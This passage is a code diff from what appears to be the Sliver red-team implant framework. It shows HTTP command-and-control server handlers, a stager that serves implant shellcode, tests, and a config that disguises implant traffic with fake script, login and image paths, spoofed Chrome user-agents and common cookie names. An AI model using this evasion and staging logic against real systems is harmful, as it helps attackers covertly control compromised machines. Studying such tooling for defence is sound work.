httpLog.Debug("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
return
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
@@ -488,81 +601,134 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
|
||||
}
|
||||
resp.WriteHeader(200)
|
||||
// TODO: Return random data?
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
httpLog.Warnf("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.Session.Send:
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
resp.Write(encoder.Encode(data))
|
||||
case <-time.After(pollTimeout):
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to encrypt message %s", err)
|
||||
ciphertext = []byte{}
|
||||
}
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
case <-time.After(s.getPollTimeout()):
|
||||
httpLog.Debug("Poll time out")
|
||||
resp.WriteHeader(201)
|
||||
resp.Header().Set("Etag", s.randomEtag())
|
||||
resp.WriteHeader(http.StatusNoContent)
|
||||
resp.Write([]byte{})
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
N: int64(s.ServerConf.MaxRequestLength),
|
||||
})
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to read request body %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrDecodeFailed
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
return plaintext, err
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
|
||||
if s.ServerConf.LongPollJitter < 0 {
|
||||
s.ServerConf.LongPollJitter = 0
|
||||
}
|
||||
min := s.ServerConf.LongPollTimeout
|
||||
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
|
||||
timeout := min + insecureRand.Float32()*(max-min)
|
||||
pollTimeout := time.Duration(timeout) * time.Second
|
||||
if pollTimeout < minPollTimeout {
|
||||
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
|
||||
pollTimeout = minPollTimeout
|
||||
}
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) randomEtag() string {
|
||||
buf := make([]byte, 16)
|
||||
rand.Read(buf)
|
||||
return hex.EncodeToString(buf[:])
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Close request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
nonce := []byte(req.URL.Query().Get("nonce"))
|
||||
if httpSession.isReplayAttack(nonce) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
|
||||
_, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Errorf("Failed to read request body %s", err)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
core.Sessions.Remove(httpSession.Session.ID)
|
||||
s.HTTPSessions.Remove(httpSession.ID)
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
// stagerHander - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Stager request")
|
||||
if len(s.SliverStage) != 0 {
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
resp.Write(s.SliverStage)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
} else {
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
if cookie.Name == sessionCookieName {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
return nil
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
}
|
||||
return nil // No valid cookie names
|
||||
@@ -596,7 +762,7 @@ func getRemoteAddr(req *http.Request) string {
|
||||
// input we don't want to trust it.
|
||||
ip := net.ParseIP(ipAddress)
|
||||
if ip == nil {
|
||||
httpLog.Warnf("Failed to parse X-Header as ip address")
|
||||
httpLog.Warn("Failed to parse X-Header as ip address")
|
||||
return req.RemoteAddr
|
||||
}
|
||||
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
|
||||
@@ -0,0 +1,138 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
EnforceOTP: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
router := server.router()
|
||||
|
||||
// Missing parameters
|
||||
rr := httptest.NewRecorder()
|
||||
req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
|
||||
// Invalid OTP code
|
||||
for i := 0; i < 100; i++ {
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
// Valid OTP code
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
secret, _ := cryptography.TOTPServerSecret()
|
||||
code, _ := totp.GenerateCodeCustom(secret, now, opts)
|
||||
|
||||
testURL = client.OTPQueryArgument(baseURL, code)
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", testURL.String(), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func TestGetOTPFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
|
||||
testURL := client.OTPQueryArgument(baseURL, value)
|
||||
urlValue, err := getOTPFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlValue != value {
|
||||
t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetNonceFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
urlNonce, err := getNonceFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlNonce != nonce {
|
||||
t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
|
||||
File renamed without changes.
@@ -1,5 +1,23 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -25,7 +43,7 @@ var (
|
||||
tunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
)
|
||||
|
||||
// StartWGListener - First ceates an inet.af network stack.
|
||||
// StartWGListener - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration.
|
||||
// Go routines are spun up to handle key exchange connections, as well
|
||||
// as c2 comms connections.
|
||||
@@ -146,8 +164,7 @@ func handleKeyExchangeConnection(conn net.Conn) {
|
||||
} else {
|
||||
wgLog.Infof("Successfully generated new wg keys")
|
||||
message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
|
||||
|
||||
wgLog.Infof("Sending new wg keys and IP: %s", message)
|
||||
wgLog.Debugf("Sending new wg keys and IP: %s", message)
|
||||
conn.Write([]byte(message))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,489 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 89
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
|
||||
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
|
||||
return h.generateChromeUserAgent(goos, goarch)
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
|
||||
if h.ImplantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return h.ImplantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
|
||||
config := &HTTPC2ImplantConfig{}
|
||||
*config = *h.ImplantConfig
|
||||
|
||||
config.KeyExchangeFiles = h.ImplantConfig.RandomKeyExchangeFiles()
|
||||
config.KeyExchangePaths = h.ImplantConfig.RandomKeyExchangePaths()
|
||||
|
||||
config.PollFiles = h.ImplantConfig.RandomPollFiles()
|
||||
config.PollPaths = h.ImplantConfig.RandomPollPaths()
|
||||
|
||||
config.SessionFiles = h.ImplantConfig.RandomSessionFiles()
|
||||
config.SessionPaths = h.ImplantConfig.RandomSessionPaths()
|
||||
|
||||
config.CloseFiles = h.ImplantConfig.RandomCloseFiles()
|
||||
config.ClosePaths = h.ImplantConfig.RandomClosePaths()
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
type HTTPHeader struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
ExtraHeaders []HTTPHeader `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
URLParameters []string `json:"url_parameters"`
|
||||
Headers []string `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager File Extension
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
|
||||
// Key Exchange (default .txt) files and paths
|
||||
KeyExchangeFileExt string `json:"key_exchange_file_ext"`
|
||||
KeyExchangeFiles []string `json:"key_exchange_files"`
|
||||
KeyExchangePaths []string `json:"key_exchange_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangeFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.KeyExchangeFiles, h.KeyExchangeFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangePaths() []string {
|
||||
return h.randomSample(h.KeyExchangePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.PollFiles, h.PollFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollPaths() []string {
|
||||
return h.randomSample(h.PollPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomCloseFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.CloseFiles, h.CloseFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomClosePaths() []string {
|
||||
return h.randomSample(h.ClosePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.SessionFiles, h.SessionFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionPaths() []string {
|
||||
return h.randomSample(h.SessionPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) randomSample(values []string, ext string, min int, max int) []string {
|
||||
count := insecureRand.Intn(len(values))
|
||||
if count < min {
|
||||
count = min
|
||||
}
|
||||
if max < count {
|
||||
count = max
|
||||
}
|
||||
sample := []string{}
|
||||
for i := 0; len(sample) < count; i++ {
|
||||
index := (count + i) % len(values)
|
||||
sample = append(sample, values[index])
|
||||
}
|
||||
return sample
|
||||
}
|
||||
|
||||
var (
|
||||
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
|
||||
|
||||
defaultHTTPC2Config = HTTPC2Config{
|
||||
ServerConfig: &HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: true,
|
||||
Cookies: []string{
|
||||
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
StagerFileExt: ".woff",
|
||||
|
||||
KeyExchangeFileExt: ".txt",
|
||||
KeyExchangeFiles: []string{
|
||||
"robots", "sample", "readme", "example",
|
||||
},
|
||||
KeyExchangePaths: []string{
|
||||
"static", "www", "assets", "text", "docs", "sample", "data", "readme",
|
||||
"examples",
|
||||
},
|
||||
|
||||
PollFileExt: ".js",
|
||||
PollFiles: []string{
|
||||
"bootstrap", "bootstrap.min", "jquery.min", "jquery", "route",
|
||||
"app", "app.min", "array", "backbone", "script", "email",
|
||||
},
|
||||
PollPaths: []string{
|
||||
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
|
||||
"javascript", "jscript",
|
||||
},
|
||||
|
||||
StartSessionFileExt: ".phtml",
|
||||
SessionFileExt: ".php",
|
||||
SessionFiles: []string{
|
||||
"login", "signin", "api", "samples", "rpc", "index",
|
||||
"admin", "register", "sign-up",
|
||||
},
|
||||
SessionPaths: []string{
|
||||
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
|
||||
"oauth", "oauth2", "oauth2callback", "database", "db", "namespaces",
|
||||
},
|
||||
|
||||
CloseFileExt: ".png",
|
||||
CloseFiles: []string{
|
||||
"favicon", "sample", "example",
|
||||
},
|
||||
ClosePaths: []string{
|
||||
"static", "www", "assets", "images", "icons", "image", "icon", "png",
|
||||
},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetHTTPC2ConfigPath - File path to http-c2.json
|
||||
func GetHTTPC2ConfigPath() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
|
||||
return httpC2ConfigPath
|
||||
}
|
||||
|
||||
// GetHTTPC2Config - Get the current HTTP C2 config
|
||||
func GetHTTPC2Config() *HTTPC2Config {
|
||||
configPath := GetHTTPC2ConfigPath()
|
||||
if _, err := os.Stat(configPath); os.IsNotExist(err) {
|
||||
err = generateDefaultConfig(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
config := &HTTPC2Config{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
func generateDefaultConfig(saveTo string) error {
|
||||
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(saveTo, data, 0600)
|
||||
}
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
|
||||
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
|
||||
)
|
||||
|
||||
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
|
||||
func CheckHTTPC2Config(config *HTTPC2Config) error {
|
||||
